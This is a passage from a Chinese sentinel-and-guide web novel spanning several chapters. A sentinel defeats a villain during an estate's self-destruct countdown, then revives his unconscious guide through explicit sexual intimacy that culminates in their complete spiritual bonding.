“轰——！” 又一次剧烈的正面碰撞后，闪避开要害的金雕被一往无前的灰狮一爪拍上肩部。 在一声充满痛苦的戾啸声中，狮爪落处，血肉粉碎，翎羽纷飞，整只金雕在巨大的力量下轰然砸上侧面墙壁。 这一次，连墙壁都再也撑不住这剧烈的撞击，炸裂开来。倒下的巨兽携着无数碎石木片，翻滚着砸进走廊里，直直在地面上滚出五六米远，才停了下来。 强烈的痛楚令伊莱的畏惧之心升到了顶点。同时，对于这个处处不如自己，却令S级向导一心忠诚，还在战斗中完全压过自己的人，也痛恨到了极点。 金雕眼中忽地闪过一丝狠绝，他的目光稍稍偏移，看向旁边，似是有了旁的想法。 而后，庞然双翅猛地振动前冲，目标却不是那只与自己殊死搏斗的灰狮，而是旁边仍然被困锁在床柱上的江寻！ 冲刺距离的增长，令金雕的速度瞬间暴涨，灰狮本就比不上金雕长于速度，这一下出乎意料的突然加速，更是令他没有第一时间反应过来。 待金雕的利爪如闪电般探出，却抓向一边的江寻时，再要阻止已然不及。 “不！”陆厌离心头巨震，猛扑上去却被雕翼砸断的床柱直击面门，速度又是一缓。 瞬息之间，金雕的利爪便已牢牢抓上江寻腰间，拖着他腾空而起。 在这紧要关头里，伊莱终于生出拼死之心，双目露出疯狂神色，完全放弃了自身的防御，挥翅猛然砸向床头一件不起眼的摆设，而后，双翅一展，向着房间另一端面朝外间的巨大空洞冲去。 【滴滴滴滴——！】 一阵警报声倏然响彻整座庄园。 在所有人惊讶的目光中，一个平直的电子音透过扩音器在半空中响起。 【自毁程序已启动！请所有人尽快撤离！】 【三十秒倒计时开始！三十，二十九……】 金雕双目露出狠毒笑意，而逃脱的希望就在眼前！ 就在他双翅一振，即将抛下所有人，拖着江寻遁窗而走的电光石火之间，异变又生！ 一直被“枷锁”封困压制着，看起来几欲昏迷过去的江寻，在所有人都没有注意到他的时候，眼中骤然爆发出决绝的光芒。 他倏然收回保护着自己的脆弱壁障，再不去管脑海中一瞬增大的眩晕与剧痛，挤压着摇摇欲坠的精神海，强行搜刮体内所有残存的精神力，任由撕裂经脉一般的剧痛不停对神经发出警报，也毫不动摇。 一个在被囚困的这些天中一直被他改良牢记，本应由多名高阶向导共同协作才能构建而出的精神力技能模型，在他坚定意志的操控下瞬间凝聚成型——A级向导技能“精神体封印”！ “呃啊——！” 模型成型的瞬间，再次从他体内强行吸走最后的精神力，抽骨吸髓般的剧痛，令江寻瞬间脑海中一片空白，几乎在刹那失去所有意识。 以强悍的意志力强行令自己支撑着，江寻抖着剧烈颤抖的手掌，搭上抓在自己腰间的利爪。 下一秒，那个凝聚了他所有力量的技能模型，便被他在最近的距离里直接打入金雕的精神空间中。 生路就在眼前，伊莱此时全部的心神都集中在背后追赶而来的劲敌身上，对于脚下几乎连神志都维持不住的江寻丝毫没有任何防备。 这一个突如其来，又从没在联盟中由单人运使出来的技能，就这样如入无人之境般被轰入金雕体内！ 小小的技能模型，在进入哨兵体内的瞬间倏然散开，自动运转起来。每一个符文都像是一只不可抵御的小手，拉扯在金雕的精神体上，将精神体与对方的肉|体一寸寸剥离开来。 “唳——！” 一声凄厉哀嚎从金雕口中骤然爆发！ 突如其来的剥皮般剧痛从体内爆发，已然奔至窗边的庞大身躯轰然栽倒下来。 体内像是钻进了什么恐怖的怪物，血肉在皮下鼓噪着左冲右突，金雕嘶吼着身形扭曲，剧烈抽搐起来。 身周始终维持着的领域砰然崩碎，一个虚影被从他庞大的肉身上无可抵御地一点点分离出来。 凝实的拟化之身像是突然化为了水面上的幻影，在涟漪的影响下剧烈波动起来，当金色的虚影完全从他身上剥离而出时，巨大的史前巨兽身躯彻底溃散开来！ 无数符文化作的小手撕扯着那剧烈挣扎的精神体，慢慢将它彻底拉回技能模型中心团团包裹起来。 而后，巨大的模型震颤着缓缓缩小，待缩回掌心大小时，那中心处的震颤已经几近于无。 整个模型化为一道流光，悍然撞向伊莱的精神图景，在搅碎一片天空之后，强行挤了进去。自行运转至最为核心的一处，深深将自身掩埋起来，再不见天日。 精神世界中改天换日的剧变，体现在现实中也不过几秒。 被强行封印起来的精神体，与突遭重创的精神图景，令重新恢复人形的伊莱瞬间在剧痛中失去所有反抗能力，表情空白地坠落下来，重重砸在窗前的空洞边。 他的一只胳膊向前伸着，刚好穿过洞口跌落在铺满阳光的外墙边缘，而整个身体却扭曲着栽倒在碎石遍布的黑暗之中，便如祈求着圣光的朝圣者，彻底倒在了黎明之前。 然而，身后刚刚追至的陆厌离此时的注意力却一分也没停留在他身上。 种种不利因素叠加之下，仍强行施展出改良A级技能的代价是巨大的。 在技能侵入金雕体内的瞬间，江寻体内的精神力便被抽吸地一干二净，一丝一毫也没有留下。 “枷锁”带来的强大干扰禁锢，与彻底失去精神力所带来的极度匮乏，令强烈的反噬瞬息而至。 “噗！” 江寻昏昏沉沉地猛地喷出一口鲜血，面上彻底灰败下来，周身萦绕着的精神力波动如同被风吹灭的火焰般，彻底沉寂下去，连一丝余韵也没有留下。 他眼中的神采迅速涣散开来，意识彻底坠入了无边黑暗之中。 【十，九，八……】 一番兔起鹘落之中，两个当事人便同时失去了意识。 可那催命的倒计时仍在继续。 “吼唔！” 陆厌离怒吼一声，看着那翩然倒下的身影，目眦欲裂。 巨大的灰狮蓄力一跃，在半空中精准接住软软倒下的江寻。在触到对方的瞬间，巨大的身形便溃散开来重新化为人形。 愤恨瞪着脚下已然失去所有意识的伊莱，在流逝的倒计时中，飞起一脚将他狠狠从破碎的空洞处踢了出去。 同时，双手小心将彻底失去意识的江寻打横抱起，毫不犹豫地向着窗外纵身跃下。 “将军！” 参与行动的联盟士兵与特遣队员们，与庄园中留守下来的守卫们，早在倒计时开始时，就立刻放弃了对手，纷纷展开各自的手段，以最快的速度冲出庄园。 眼见着倒计时流逝却仍没有看到陆厌离撤离的下属们，在心急如焚中，终于见到了他的身影冲出，终于松下口气。 “所有人！立刻撤离！” 陆厌离再次扫了伊莱一腿，将他踢向等候在外的下属，便抱着江寻急速向外飞跃而去。 就在他抱着江寻落地的瞬间，伴随着一声震耳欲聋的剧烈爆炸声，一股热浪从身后袭来，巨大的冲击力推着陆厌离再次向前飞出。 忍着后背灼烧般的剧痛，陆厌离将江寻紧紧护在怀里，不令他再受到一点儿伤害。 众人身后，那座华丽的庄园，从陆厌离刚刚立足处的核心小楼开始，轰然炸裂开来。 毁灭的火光携着无数碎石与烈焰向外狂卷，将隐藏在其中的一切罪孽统统吞噬殆尽。 第247章 爆炸的火光尚未散尽， 周围的士兵守卫们，皆被这发生在面前的巨大变故震在当场。 有没来得及完全退出庄园的人，抱着伤处哀嚎打滚， 特别是原先在庄园中工作的普通仆从女佣，有许多都撤离太慢，受了不轻不重的伤。 庄园之外一片哭泣恐惧的混乱之声。 刚刚还战斗在一起的两方人马，一时不知是否要继续打下去， 愣在了原地。 陆厌离紧紧抱着怀中昏迷过去的江寻， 目光如冰般扫过整个战场。 几步跨到刚刚被他踢踹出来， 瘫软在地毫无意识的伊莱身边，一把揪住他的衣领， 单手如同拖拽一条死狗般将他提了起来。 跃上一块倾颓下来的巨石，让所有人都能看到他。 陆厌离将伊莱狼狈的模样转了一圈，展示给其下所有人看到， 冰冷的声音在此刻， 压下了周围所有的尖叫哀嚎声，响彻全场： “伊莱·凡纳，公然触犯联盟法令， 绑架并试图强制绑定高级向导， 并涉嫌研究违禁生化病毒， 造成M68星域及中央星、‘转轮天平’枢纽站中数起病毒传播事件， 现已被联盟擒获俘虏。你们要继续为了这样一个罪人卖命吗？” 仍然想要负隅顽抗的护卫们， 听到陆厌离的宣告， 看到被他提在手上毫无声息的人影， 所有的动作骤然僵住，面色惨然下来。 陆厌离释放出自己的精神力场，属于S级哨兵的庞然精神力， 黑云罩顶般笼罩场中。如临深渊般的可怖感觉瞬间压上所有人心头。 “立刻放下武器，向身边的联盟士兵或特遣队员投降！看在你们只是听命行事的份上，联盟军事法庭会在审判时酌情考虑减刑。若有继续负隅顽抗者，格杀勿论！” 话音落下，所有护卫残存的抵抗意志如风中残焰般迅速熄灭。 仆妇佣人们率先哭喊着举手投降。仍然端着武器的护卫们面面相觑，面上的犹豫，在看到被陆厌离拎在手中的伊莱与倒在废墟里生死不知的劳伦斯管家后，迅速化为恐慌无措。 终于，第一个人“哐当”一声丢下了手中的能量枪，高高举起双手。 随即，如同触碰到了多米诺骨牌，剩下的护卫们纷纷丢下手上的武器，原地蹲下举起双手，彻底放弃了抵抗。 陆厌离一扬下巴，周围的联盟士兵们迅速行动起来，收缴起所有武器，将所有投降的俘虏铐起控制在一起。 至此，战斗彻底结束。 陆厌离不再多看这些打扫战场的事宜，跳下巨石，将手中的伊莱丢给同行的军部代表上校：“将他扣押起来，封锁住精神力严加看管。等待带回中央星，交由最高军事法庭审判。” 陆厌离紧了紧手中的江寻，焦急地看了对方一眼，解释一句：“江寻向导受到重创，精神力陷入极度匮乏状态，来不及回去救助了，我要给他马上补偿精神力。这里后续的事务，就交给你了。” 说完，他顾不得再理会其他，目光迅速扫过周围，锁定一处距离爆炸中心较远，建筑结构尚且保存完好的岗哨室，快步奔去。 在所有人或崇敬、或担忧的目光中，抱着江寻飞奔至岗哨室门口，一脚踢开有些变形的门，便闪身钻了进去，将外界所有的混乱与人声喧闹统统隔绝。 岗哨室中空间不大，内部也只有一张金属桌与几把固定在地上的椅子，窗户上的玻璃在刚才的爆炸中被完全粉碎，好在本身材质过人，没有完全碎裂成渣，仍然顽强地吊挂在窗框上。 室内的杂物倒了一地，不过环境还算干净。 陆厌离直接将桌面上所有残留的物件统统扫落地面，将江寻小心放了上去，让他靠着自己半坐着。 江寻双目紧闭，脑袋无力地耸拉着，脸上灰败嘴唇干枯，呼吸更是微弱得几乎察觉不到。 令陆厌离熟悉到极点的温润精神力，已经完全消失不见，陆厌离几乎能看到他体内的精神海寸寸崩裂开来的模样。 陆厌离的目光死死锁在江寻脖颈上那个经历了这么多跌宕起伏，仍然顽强闪烁着工作灯光的“枷锁”上。没有丝毫犹豫，从腿侧绑缚的装备带上抽出一把高能激光切割刀。 打开刀柄开关，一手控住江寻的脖颈，一手反持着激光刀，将刃口小心插入项圈接口处。 随着“滋啦滋啦”刺耳的金属切割声响起，项圈终于在一阵“嗡嗡”声中，彻底熄灭下去。将扣锁完全破坏掉，陆厌离这才小心翼翼地将整个“枷锁”项圈从江寻脖子上取了下来。 此时，他颈间的皮肤已经被长时间的禁锢与刺激，箍得一片青紫。即使在此刻摆脱了“枷锁”带来的禁锢干扰，江寻也似毫无感觉一般一动不动。 他的意识因为精神力的极度匮乏，完全沉沦进黑暗的深渊之中，精神空间更是因为一度沦为战场，又遭遇重重冲击，濒临彻底崩溃的边缘。 陆厌离触在江寻身上的手掌，只觉得手中的躯体一点点冰冷下去，生命力好似攥在指缝间的流沙般无可抵挡地急速流逝。 他能清晰地感受到怀中的人，正在一点点向着深渊滑落下去。 陆厌离心急如焚，可此刻江寻意识全失的状态下，想要以任何方式从外部给他恢复精神力都几乎不可能实现。 他能想到的只有一个办法。 他甚至不知道这个办法，在此刻能不能实现，只能尽力一试。 陆厌离碧绿的眼眸中闪过决绝，这一刻，他根本没有去考虑其他。 没有去管薄薄一扇门外传进来的沸反人声，没有去管透过碎裂的窗户玻璃，仍能看清室内的一切动静。 他反手按上颈后的战斗服收纳盒，将身上那件紧身战斗服完全收了回去。 以赤裸的姿态，低头，轻轻吻上江寻冰冷而泛着血气的嘴唇—— 作者有话说：二更！你们懂得，明天的章节大家早点看~ 第248章 陆厌离的唇紧贴着江寻冰凉的唇瓣， 一边亲吻着一边急切地不断呼唤着他的名字：“江寻……能听到我说话吗？醒醒……江寻……” 呼唤着的同时，从自己磅礴的精神力中抽出一缕，将它化为最温和的暖流， 用双手的触碰，将这些细流汇入江寻身体里，试图用他染上江寻气息的精神力，润泽对方干涸的经脉与精神海， 维持住他即将崩溃的精神空间。 然而， 江寻被反噬与伊莱的强行侵染造成的伤害太过严重， 在这种情况下，还强行使用超规格的改良A级技能， 将体内的精神力挥霍一空。 种种不利状况叠加之下，江寻的意识完全沉沦入痛苦的深渊中，对于外界的感知力已经降低到了极点。 这种温和的舒缓补偿， 在对方根本感知不到时， 完全起不到效用。 陆厌离甚至觉得对方近在咫尺的呼吸声都渐趋于无。 陆厌离的心沉了下去。 他想到亲吻这种非常浅层的补偿方式可能对此时的状况效果不大，但他没有想到，江寻此刻的状况已经严重到连亲吻都无法感知到了。 他心里有些不安， 控制不住地想， 万一对方连最深层的补偿都感受不到， 那要怎么办？ 像他这样的精神创伤， 即使是医疗舱也无法救治…… 陆厌离闭了闭眼， 甩开这些担忧。 时间紧迫， 现在不是想这些的时候， 先把自己所能做到的都努力尝试一遍再说。 此时，陆厌离心中丝毫没有任何旖旎的念头，只是一项项地试过去， 尝试着用各种方式，让江寻感知到快乐，从而开启精神补偿的过程。 亲吻不行，就尝试抚触，温暖他渐渐冰冷的肌肤，抚过他被自己熟知的敏感之处。试图将来自身体本能的，最原始最强烈的生理快乐，传递到他的感知里。 许久，江寻仍旧没有任何反应变化，如同一个丧失了所有生机的躯壳，无声无息。 陆厌离心下焦急，却丝毫没有放弃的意思，眼见这样还是不行，深吸一口气，把江寻扶上桌子，毫不犹豫地跪了下去，更近一层，低下头去，唇舌并用地持续尝试起来。 久久，在他反反复复地努力之下，他终于感受到喉间传来一丝热意。 陆厌离刹时顿住，害怕这只是自己的错觉。 直到确定自己的抚慰真的令对方产生了变化，眼中猛地一亮，心中狂喜。 立刻趁热打铁，更加卖力地取悦起来。 冰冷的身体捕捉到了这来自本能的强烈刺激，一声几不可闻地轻哼从失去意识的人喉间溢出。 一丝活人的气息终于重新出现在江寻身上。 陆厌离紧紧盯着江寻的动静，捕捉到那声轻哼时，立刻将更多精神力缠绕上去，一缕缕渗入对方的经脉之中，再次尝试引导对方的精神力开始自主重生。 意识仍然沉沦着，可江寻的身体，在这样内外的双重抚慰引导下，终于被撬开了一丝缝隙。 布满裂纹的干涸河床中，不声不响地渗出了第一缕涓流，一丝极其微弱的精神力波动，出现在江寻完全枯竭的精神海中。 流动在江寻全身脉络中的哨兵精神力，立刻第一时间察觉到了这新生的种子，欢欣鼓舞地围绕上去。 小心翼翼地牵引着对方投入自己的怀抱里，用自身去供给、去培育、去融汇，一点点带领着对方缓缓壮大。 陆厌离紧闭着眼睛，深深吞咽下去，几乎无法呼吸也毫不吝惜。 与此同时，哨兵强大的精神力蛰伏成缕缕无害的丝线，开始如同藤蔓般，攀上一丝丝新生的温润精神力，将自己化作养分，编织着、融汇着，滋养着对方一点点复苏过来。 * 江寻其实醒着，可他此时却恨不得自己彻底晕过去。 过度的痛苦折磨着他的意识，让他根本无法安睡过去。匮乏的精神又令他的意识与感知仿佛脱离了身体，完全感觉不到身体的存在，被全然困在一片无边的黑暗中。 他只能就这样沉沦在痛苦的深渊中，赖以为生的身躯，此时仿佛成为了一道无法跨越的屏障。 外界的一切感知，都被这道屏障阻挡着，令他无法接收到。而他在黑暗中的痛苦嘶吼，也丝毫无法穿透这层壁垒让外界知道。 精神世界中的时间失去了意义，他不知自己被困在这里多久，无尽的痛苦令他度秒如年。 耳边似乎一直回荡着声音，蛊惑着他，只要松开手就能获得永远的安宁。 可他内心深处，始终有着一道影子牢牢拽着他，令他不要放弃。 他不知道自己要如何摆脱这样的状况，只能凭借着本能，在崩溃的边缘徘徊着，一次又一次将自己拉回。 可渐渐微弱下去的自我认知，还是让他知道，自己正在滑向永恒的沉睡。 就在他的意识即将彻底沉沦的时候，在这无边的痛苦海洋中，忽然绽放了一丝与众不同的颜色。 江寻本能将那一丝不同紧紧抓住。 这丝不同的颜色一经入手，便如一道温暖春风，抚慰了他几乎要完全沉沦下去的意识，在精神空间中荡开一波细弱的涟漪。 那是一点点的……愉悦？ 这种感觉极其微妙，沉重的躯体横亘在他的感知与意识之间，仍然厚重而不可跨越，所以这丝涟漪并非从外部而来，而是从他自己身体深处隐隐弥漫而出的。 虽然极其细微，却如久旱逢甘霖般，及时润泽了他干涸的精神空间。让他被痛苦煎熬得几乎要麻木了的思维，获得了一丝喘息的余地。 他紧紧抓住了这一丝异样的感觉，仿佛知道这是能够拯救他的渡船，凭着这微薄的愉悦，努力在痛苦的浪潮中维持住自己的一线清明。 也许是感受到了他的坚持，也许是别的什么原因。随着时间的推移，那点滴的快乐似乎也在缓缓积累起来，从一丝攒成一缕，从一缕汇聚成一束。 而随着这快乐的聚集，体内好像也凭空生出道道暖流，开始润泽修复他干枯枯竭的经脉。 这一点点的暖流非常少，却实打实地令他对于自身模糊而混沌的感知变得清晰了一些。 渐渐地，他感受到了一点点异样的触觉。 仍然沉沦在混沌中的意识无法清晰地思考，却本能的知道那拉扯着他，让他渐渐醒转过来的愉悦，就来自于这点触碰。 这触碰是如此熟悉，他几乎是在意识到的瞬间，便完全信任了这带着他脱离痛苦深渊的源头。 一股源于灵魂深处的信赖与渴望汹涌而来，令他开始自发地回应那带来愉悦的触碰。 沉浸在强烈痛苦中的意识，终于获得了一丝喘息。 可没过多久，触碰消失了。 骤然消失在手中的绳索，令江寻立刻焦躁恐慌起来。 他像是失去了救命稻草的溺水之人。 因为这唯一出现在黑暗深渊中的色彩的突然逝去，再次有了即将重坠深渊的可怖感受。 还没等他做出任何下意识的反应，突然，一种更加紧密而深入的感觉袭来，随之而来的，是如同电流窜过脊椎般直入脑髓，席卷了全身的剧烈刺激。 这道强烈的刺激，终于带领着江寻冲破了黑暗痛苦的深渊，向着上方阳光照耀的水面升腾而去。 意识更加清晰一分，江寻模糊地呜咽了一声，一直无法控制的身躯寻回了一丝掌控之力。垂落的手掌轻轻抬了抬，本能地攥住那带给他快乐的源头。 满握一片滑腻柔韧，遥远处，似乎有一道熟悉的嗓音隐隐传来。昏沉的思绪理解不了，却本能地渴望着更多，连带着无力的手掌也下意识地合拢紧握。 便如干涸已久的土地迎来了春雨，渴极了的旅人寻到了甘泉，他本能地知道，这个带给他快乐的人，能够拯救他脱离无边苦海。 神志仍然昏沉，躯体却开始主动地向着那快乐的源泉祈求更多，想让他给予自己更多的快乐，将自己拉出那片无边的痛苦深渊。 * 冰冷的身躯一点点有了温度，熟悉的精神波动重现在对方身周。 虽然这一点点的波动微弱到几不可察，却像是一根绳索拽住了面前这个正在滑落深渊的人。 陆厌离的双眼一直向上看着，紧紧盯着江寻的脸，将那张熟悉的面庞上所有细微的表情变化统统收入眼底。 看着那枯败的脸色渐渐缓和，紧蹙的眉心与痛苦紧绷的嘴角，似乎舒展开了一丝弧度，当即心中振奋，巨大的庆幸喜悦袭上心头。 有效果了！他感知到了！ 感受到对方正在渐渐甦醒过来，他深吸一口气，差不多可以进行下一步了。 压下心中的紧张与急迫担忧，他微微退开一步，抱起江寻，转身将他轻轻转移到座椅上，随即，小心地跨上他的膝头。 时刻关注着江寻的表情，扶上他的肩膀。 这种时候，他根本顾不上去管自己会否不适。 深吸一口气，伸手向后草草准备一下，便调整一下方位，引导着接纳。 过度潦草的准备，对他来说也是负担，但这一点点的疼痛对于此刻的他来说完全无需在意。 所有的注意力都集中在面前之人身上，陆厌离努力放松，担心的只有这过于仓促的结合是否会加深对方的痛苦，打断他刚刚苦苦调动起来的活力与感知。 他的动作极度缓慢而小心，轻轻摇摆呼唤着自己的爱人。 小小的岗哨室中，只有时间的悄然流逝与细微的喘息声飘荡在空气中。 他极有耐心地小心扶植着这微弱的火苗，将自身化为柴薪让它燃烧起来。 不知过了多久，陆厌离惊喜地发现，江寻的表情再次动了一动，喉间也溢出一声微弱的闷哼。 “江寻！” 陆厌离心中狂喜，碧绿眼瞳从眸底燃起更加炽烈的光芒。 同时，调动起自身的精神力，更加小心翼翼地引导着对方新生的精神力一点点再生。 闷哼过后，江寻身上的活气明显多了些，精神力回复速度也在加快。 几乎是同时，陆厌离只觉一阵熟悉触感。 下一刻，皮肉一热，什么无声无息间攀了上来。 他毫不迟疑，自身的精神力再次纠集起来，更加汹涌地输入江寻身体。 同时，一边呼唤着一边加快了节奏。 不仅仅是引导着那些新生的精神力从自己的精神力上增殖，而是带着它们主动去寻找对方体内那些仍然黯淡干涸的区域，一遍又一遍地引导着它们在周身经脉中流转，试图让更多枯萎的田地重新复苏。 从最脆弱处传来的，一波又一波的强烈本能快乐，如同强心剂一般不断冲击着江寻濒临熄灭的核心意识。 在这持续不断地强烈刺激下，从枯竭中醒转过来的区域越来越多。干涸的土地上钻出一点又一点新生的幼苗。 这些生机是如此微弱，带来的影响却是巨大的。 沉寂的身躯在无数幼苗的催促下，渐渐解冻，新生的精神力从每一个细胞深处重新孕育而出，灌注进每一棵幼苗里，催着它们一点点长大。 各处新生的源流，渐渐充溢流淌，星星点点的精神细流，断断续续地融会贯通，开始自主运转起来。 始终缠绕着、保护着这些精神力的陆厌离，立刻感知到了这重新运转起来的精神力，马上引导着自己的精神力主动缠绕交融进去，以自身活跃强大的精神力，为这新生的温润精神力注入更加有力的生机。 与此同时，通过那逐渐流畅稳固起来的精神链接，他一遍又一遍地呼唤着那个心底的名字： “江寻……醒过来……” “看看我……” “江寻，回来，我在这里……” 敦敦呼唤声期盼而隽永，顺着那不可见的精神通道，穿透混沌，叩击着江寻紧紧封闭的意识，在他残破的精神空间中久久回荡。 江寻本人的意识仍然沉沦在混沌深处，无法清明回转。 然而，那一声声执着地回荡在精神空间中的呼唤，却真的唤醒了别的什么东西。 残破的精神空间深处，一点微弱的乳白光芒挣扎着汇聚起来，一点点聚拢在一起，居然凝出了实体。 一只通体雪白，体型袖珍，羽毛却黯淡无光的白隼，睁着无神的眼眸，懵懵懂懂地从光芒中心探出头来。 此刻，它眼中是肉眼可见的虚弱茫然，可它似乎能听到陆厌离的呼唤一般，随着陆厌离呼唤的声音慢慢抬起了头。 那是……江寻的精神体！ 从精神链接这端遥遥“看”到了出现在江寻精神空间深处的异动，陆厌离眼中骤然大亮。 精神体已经被唤醒了，那离他本人被唤醒还远吗？ 不过……遥遥“看”着江寻那脆弱不堪的精神空间，陆厌离此刻丝毫不敢用自己的精神力直接深入进去。 哨兵对于精神领域的探索与掌握，远远不如向导，他生怕自己不够圆满的控制力，会让自己的精神力再次伤到对方。 心念一动，他唤出了自己的精神体——那只烟灰色的长毛猫猫。 灰猫轻盈从陆厌离的精神图景中一跃而出，站在精神链接的这端，紧紧看着独坐于那方残破空间中的幼生白隼，发出一声声轻柔甜美的“喵呜”声，故意令身上的长毛翻卷如云，尾巴妖娆晃动起来，引诱着懵懂的白隼走到它身边。 白隼歪了歪头，仍然混沌的主意识令他无法有更多的思考，仅剩下本能。 但那熟悉到极点的精神波动，以及对于灰猫深入骨髓的喜爱，让它本能地对对方极度信任。仿佛触到它，就能让自己安心快乐。 深沉的渴望，让它扑闪着自己无力的翅膀，顺着两人之间那道不甚清晰的精神通道，摇摇晃晃地一点点靠近，终于在灰猫的诱哄下，磨蹭到了它的身边，合身扑了上去。 陆厌离几乎是屏息着看着那小小的白隼渐渐走近，当它靠上自己的精神体时，立刻调动起自身的精神力，将那只虚弱幼小的白隼轻柔地包裹起来。 细致地抚慰着它身上的每一根黯淡的绒羽，滋养着它极度匮乏的本源。 精神体受到的抚慰，立刻同步传导到了现实中江寻的身上。来自另一个精神体的触碰，如同搔在心头的羽毛般，令他浑身一个激灵，溢出一声明显的呻吟。 另一股极度熟悉的精神力缠绕上他的精神本源，瞬间让他滋生出新的力量。 强烈的渴望得到了力量的支持，指尖深深陷入软腻，白肉从指缝中肉嘟嘟的鼓起。快乐的源头被他更加深入地拉进自己怀里。 似有一声急促惊呼隔着蒙蒙薄雾遥远地传来，却只令他感到更加安心快乐。 一瞬的冲动过后，是更加漫长而持久的快活，江寻的唇边开始不停传出喟叹之声，再次安逸舒服地享受起来。 陆厌离正专心抚慰着精神空间中的小白隼，一时不察，被倏然动作的人突然撞入更核心处，当即便一声惊叫，整个人扑上对方。 骤然而来的刺激令他眼眸一瞬大睁，张着口却一点声音也发不出来。良久，才缓和过来，重新恢复了刚才的频率。 侧脸有些嗔怪地看了表情再变的江寻一眼，亲密了半天，这会儿他才终于有了些真实的情热感觉。 凑近过去，细细亲吻在对方耳根，攀着他的肩膀摇动着，意识却再入精神空间中。 看着那只神情舒适的小白隼，陆厌离不由自主地做出了一个新的举动。 灰猫的形体渐渐融化，重新化为一团散发出光芒的纯粹精神力。而后，这团精神力主动从中心层层打开，向着白隼敞开了自己最最本源的精神核心。 白隼本能地知道这是什么，轻鸣一声，乳燕投林般撞入本源，张开翅膀环抱住对方的精神核心。 来自精神核心最为直接的触碰，带来的感受远非其他任何结合能比。 在白隼与核心接触的那一刹那，一股难以言喻的，来自灵魂最深处的极致快感，如同燎原野火般，瞬间席卷了陆厌离与江寻的所有意识。 “呃……！” 陆厌离闷哼一声，身体骤然绷紧用力。 而他的用力，又同时带动着另一人发出一声剧烈喘息。 在这股源自精神核心，强烈至极的快|感冲击下，始终遮蔽着江寻意识的那道厚重帷幕，终于裂开了一道细细的缝隙。 他的意识透过这道缝隙疯狂汲取着来自外界的信息，“自我”渐渐从水面下缓缓浮起。 而此时，环抱着江寻的陆厌离第一时间感受到了这种变化。 冰凉的身体在逐渐恢复着温度，耳边的喘息声渐渐放大，始终垂落在旁的另一只手也环绕上了背脊。甚至，对方开始缓缓地追逐起更多能够驱散痛苦的快乐，主动给出微弱的回应。 陆厌离只觉腹中一片滚烫，沉重的存在感令他一阵脸红。 “江寻……你醒来了吗？” 陆厌离轻轻问了一声。双腿盘绕起来，抵住椅背，更加用力地挤压过去。 一双胳膊挂上对方脖颈，将他拉下来，激动地亲吻上去。 而另一头的精神通道这边，扑入精神核心中紧紧抱住它的白隼，似乎也从这直抵核心的快乐中，获得了更多的清明与“经验”。 下一刻，它竟然学着灰猫的样子，渐渐融化开来，同样化为一团乳白荧光，颤巍巍地，一层一层向着对方敞开了自己最脆弱的精神核心！ 两颗核心骤然触碰，直抵最本源处的接触，带来的巨大快感，令两人同时神形俱颤，紧紧贴在一起，失去了所有对于外界的感知。 在这个瞬间，连陆厌离都失去了清明意识，仿佛就此融化在了这贯穿灵魂的快乐里。 两团由精神体化为的本源能量，在这样极致的愉悦与安心信赖之中，向着彼此渗透进去。 如同水乳般自然而然地相互吸引着，缠绕着，厮磨着，开始缓慢而深入地融汇为一。 纯白的精神核心，一点点地，染上银灰的色彩。 两种完全不同的精神力，在最本源的融合中，逐渐改变波动频率，化为最契合的缠绕在一起的半身。 这种变化，随着发散出去的波动，一点点将体内所有的精神力都从本质上改变。 频率、性质、气息与颜色，在这种源自根本的融汇中完全改变，我中有你，你中有我，真正交融起来。 待最初那股直抵颅顶，最为强烈的精神刺激化为绵长的快乐，陆厌离这才发现，自己已经完全侵染了江寻的精神核心。 他怔怔看着体内仍然紧紧贴近，抱缚在精神本源中的两颗核心。 随即，无尽的喜悦如源源不断的巨大浪潮，一波又一波冲刷着他的全身。 这是……完全绑定！—— 作者有话说：撒花~让我们祝福两位XQL！[撒花][撒花] 第249章 来自本能的巨大喜悦在心头冲刷着， 在江寻的精神核心染上自己气息的那一刻，陆厌离清晰地感觉到，一种深入骨髓， 直达灵魂深处的联系，在他们二人之间轰然建起。 波长同频，能力互补。 从这一刻起，他们的精神力彻底融汇为一， 性质为对方完全改变， 再也无法与彼此之外的人结合。 完全绑定……就这样达成了？ 毫无疑问， 陆厌离心底，此刻洋溢着巨大的幸福感。 可另一方面， 又有些怔忪。 他没想到，他们准备万全，期待已久的完全绑定， 竟会在这样混乱而危急的时刻， 突如其来地到来。 他们之前还一直在认真计划着，要在两人情感链接达到极致，彼此的状态最圆满的时候， 再完成最终的绑定， 以此来尝试补完那道未尽的刻印。 可现在…… 陆厌离看着被自己环抱在怀中， 连眼睛都无法睁开的江寻， 心中掠过一丝无措。 即使他不太了解这方面的知识， 也知道， 刻印的发生， 最基础的条件便是极强的情感链接与哨向双方充沛的精神力。 但是，此时的江寻才刚刚从精神空间彻底崩溃的危险中爬出来，仍然处于精神极度匮乏的状态里， 甚至连意识都还没清醒。 这种情况下，要怎么触发那种可遇不可求的刻印现象？ 陆厌离有些懊恼又有些无措地怔在了原地，担心是不是自己冲动的行动，打乱了江寻的计划，不知接下来要怎么继续下去才好。 然而，还不等他捋清思绪，骤然变化的情势，又立刻抓住了他全部的注意力。 他突然发现自己身上似乎出现了什么奇怪的变化。 明明没有受到任何外部的干扰，藏在他精神空间深处的精神图景，竟然不受控制地轻微震动起来。 与此同时，他的五感灵敏度，骤然间莫名拔高了一截，从周围的环境中传导过来的感官信号，突然变得异常清晰。 这个距离下，他能听到血液，充满活力地在江寻的血管中汩汩流淌的声音；能闻到他身上那股扑面而来，令人头晕目眩的苦艾味道；能看到细密到不可察的微小汗珠，挂在江寻的发丝上随风摇曳的影子。 每一个细小的信号，似乎都带着某种让人无法抗拒的诱惑，牢牢将他的目光锁定在江寻身上。 一股极为陌生的燥热从他的骨子里一点点漫了上来，不是他们寻常亲热时常常出现的脸红情热，而是某种更加汹涌澎湃的东西。从骨髓里，一直烧到他的皮肤上，好似每一个毛孔都在突突往外冒着热气。 触觉突然变得敏感异常，晃动间每一下蹭过江寻的衣物时，都会引得他一阵难以自控的战栗。 一种源自哨兵本能的强烈渴求忽然充溢了陆厌离的整个思绪。 一种更原始，更加难以抗拒的东西。 那声音不停在他脑子里念叨着，想要完完全全地占据。 他的骨，他的肉，他的气息，他的灵魂。 汹涌的冲动倏忽而来，像是火山爆发一般瞬间挤满了他全部的思维，叫嚣着占有，渴求着江寻的一切。 陆厌离的眼睛有些发直，深深喘了一口气，下意识收紧手臂，紧紧揽住心中唯一的珍宝。 然而，怀抱中感受到的滚烫温度，又在告诉他，出现异变的不止他一个。 